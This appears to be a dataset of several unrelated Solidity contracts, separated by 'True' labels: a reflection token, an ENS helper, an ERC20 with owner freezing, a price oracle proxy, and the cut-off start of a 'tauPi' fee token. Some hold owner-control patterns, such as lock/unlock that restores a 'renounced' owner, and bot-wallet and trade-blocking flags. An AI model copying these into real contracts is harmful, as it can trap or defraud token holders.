uint256 tCharity = tAmount.mul(charityFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tCharity);
return (tTransferAmount, tFee, tCharity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10');
_taxFee = taxFee;
}
function _setCharityFee(uint256 charityFee) external onlyOwner() {
require(charityFee >= 1 && charityFee <= 11, 'charityFee should be in 1 - 11');
_charityFee = charityFee;
}
function _setCharityWallet(address payable charityWalletAddress) external onlyOwner() {
_charityWalletAddress = charityWalletAddress;
}
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
/**
* @title ENS Helper utility
* @author yearn.finance
*/
interface IEnsRegistry {
function resolver(bytes32 node) external view returns (address);
function owner(bytes32 node) external view returns (address);
}
interface IEnsResolver {
function addr(bytes32 node) external view returns (address);
}
interface IStringSplit {
function splitStringByDeliminator(
string memory input,
string memory deliminator
) external view returns (string[] memory);
}
library EnsHelper {
address public constant registryAddress =
0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e;
address private constant splitStringAddress =
0x1C0EeEF670d82498F7547062Aac7eE2143eC52ff;
function resolvedAddressByNamehash(bytes32 namehash)
public
view
returns (address resolvedAddress)
{
address resolverAddress = resolverAddressByNamehash(namehash);
resolvedAddress = IEnsResolver(resolverAddress).addr(namehash);
}
function resolvedAddressByName(string memory name)
public
view
returns (address resolvedAddress)
{
bytes32 namehash = namehashByName(name);
resolvedAddress = resolvedAddressByNamehash(namehash);
}
function resolverAddressByNamehash(bytes32 namehash)
public
view
returns (address resolverAddress)
{
resolverAddress = IEnsRegistry(registryAddress).resolver(namehash);
}
function resolverAddressByName(string memory name)
public
view
returns (address resolverAddress)
{
bytes32 namehash = namehashByName(name);
resolverAddress = resolverAddressByNamehash(namehash);
}
function namehashByName(string memory name)
public
view
returns (bytes32 namehash)
{
string[] memory parts = IStringSplit(splitStringAddress)
.splitStringByDeliminator(name, ".");
for (uint256 partIdx = parts.length - 1; partIdx >= 0; partIdx--) {
string memory part = parts[partIdx];
namehash = keccak256(
abi.encodePacked(namehash, keccak256(abi.encodePacked(bytes(part))))
);
if (partIdx == 0) {
break;
}
}
}
function ownerAddressByNamehash(bytes32 namehash)
public
view
returns (address ownerAddress)
{
ownerAddress = IEnsRegistry(registryAddress).owner(namehash);
}
function ownerAddressByName(string memory name)
public
view
returns (address ownerAddress)
{
bytes32 namehash = namehashByName(name);
ownerAddress = IEnsRegistry(registryAddress).owner(namehash);
}
} | True | [
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|
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 6;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
address owner=msg.sender;
// This creates an array with all balances, allowances, frozen, master and admin accounts
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping(address => bool) public master;
mapping(address => bool) public admin;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event FrozenFunds(address target, bool frozen);
event unFrozenFunds(address target, bool unfrozen);
event AdminAddressAdded(address addr);
event AdminAddressRemoved(address addr);
event MasterAddressAdded(address addr);
event MasterAddressRemoved(address addr);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
// Setting the ownership function of this contract
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
// setting the master function of this contract
modifier onlyMaster() {
require(master[msg.sender]);
_;
}
// setting the addition / removal of master addresses
function addAddressToMaster(address addr) onlyOwner public returns(bool success) {
if (!master[addr]) {
master[addr] = true;
MasterAddressAdded(addr);
success = true;
}
}
function removeAddressFromMaster(address addr) onlyOwner public returns(bool success) {
if (master[addr]) {
master[addr] = false;
MasterAddressRemoved(addr);
success = true;
}
}
// setting the admin function of this contract
modifier onlyAdmin() {
require(admin[msg.sender]);
_;
}
// setting the addition / removal of admin addresses
function addAddressToAdmin(address addr) onlyMaster public returns(bool success) {
if (!admin[addr]) {
admin[addr] = true;
AdminAddressAdded(addr);
success = true;
}
}
function removeAddressFromAdmin(address addr) onlyMaster public returns(bool success) {
if (admin[addr]) {
admin[addr] = false;
AdminAddressRemoved(addr);
success = true;
}
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
// Check for frozen accounts
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
// This part is for Token Pricing and advanced portions
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyMaster public {
require(balanceOf[msg.sender]<= totalSupply/10);
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyAdmin public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function unfreezeAccount(address target, bool freeze) onlyAdmin public {
frozenAccount[target] = !freeze;
unFrozenFunds(target, !freeze);
}
// dividend payout section
// when user wants to claim for dividend, they should press this function
// which will freeze their account temporarily after diviendend payout is
// complete
function claimfordividend() public {
freezeAccount(msg.sender , true);
}
// owner will perform this action to payout the dividend and unfreeze the
// frozen accounts
function payoutfordividend (address target, uint256 divpercentage) onlyOwner public{
_transfer(msg.sender, target, ((divpercentage*balanceOf[target]/100 + 5 - 1) / 5)*5);
unfreezeAccount(target , true);
}
} | True | [
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|
/*
Copyright 2019 The Hydro Protocol Foundation
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.7;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// asset WBTC
contract PriceOracleProxy {
address asset;
AggregatorV3Interface internal priceFeed;
constructor() public {
priceFeed = AggregatorV3Interface(0x3E7d1eAB13ad0104d2750B8863b489D65364e32D);
asset = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
}
function getPrice(
address _asset
)
external
view
returns (uint256)
{
require(asset == _asset, "ASSET_NOT_MATCH");
(,int lastPrice,,,) = priceFeed.latestRoundData();
require(lastPrice >= 0, "INVALID_NEGATIVE_PRICE");
uint256 price = uint256(lastPrice);
uint256 hydroPrice = price * 10 ** 22;
require(hydroPrice / price == 10 ** 22, "MUL_ERROR");
return hydroPrice;
}
} | True | [
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|
/*
tauPi - $TAUPI
💬Telegram: https://t.me/tauPi_entry
Website: https://www.taupi.biz/
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
//function _msgSender() internal view virtual returns (address payable) {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IAirdrop {
function airdrop(address recipient, uint256 amount) external;
}
contract tauPi is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private botWallets;
bool botscantrade = true;
bool public canTrade = true;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 69000000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
address public marketingWallet;
string private _name = "tauPi";
string private _symbol = "TAUPI";
uint8 private _decimals = 9;
uint256 public _taxFee = 3;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 9;
uint256 private _previousLiquidityFee = _liquidityFee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 900000000000000000000 * 10**9;
uint256 public numTokensSellToAddToLiquidity = 1000000000000000000000 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
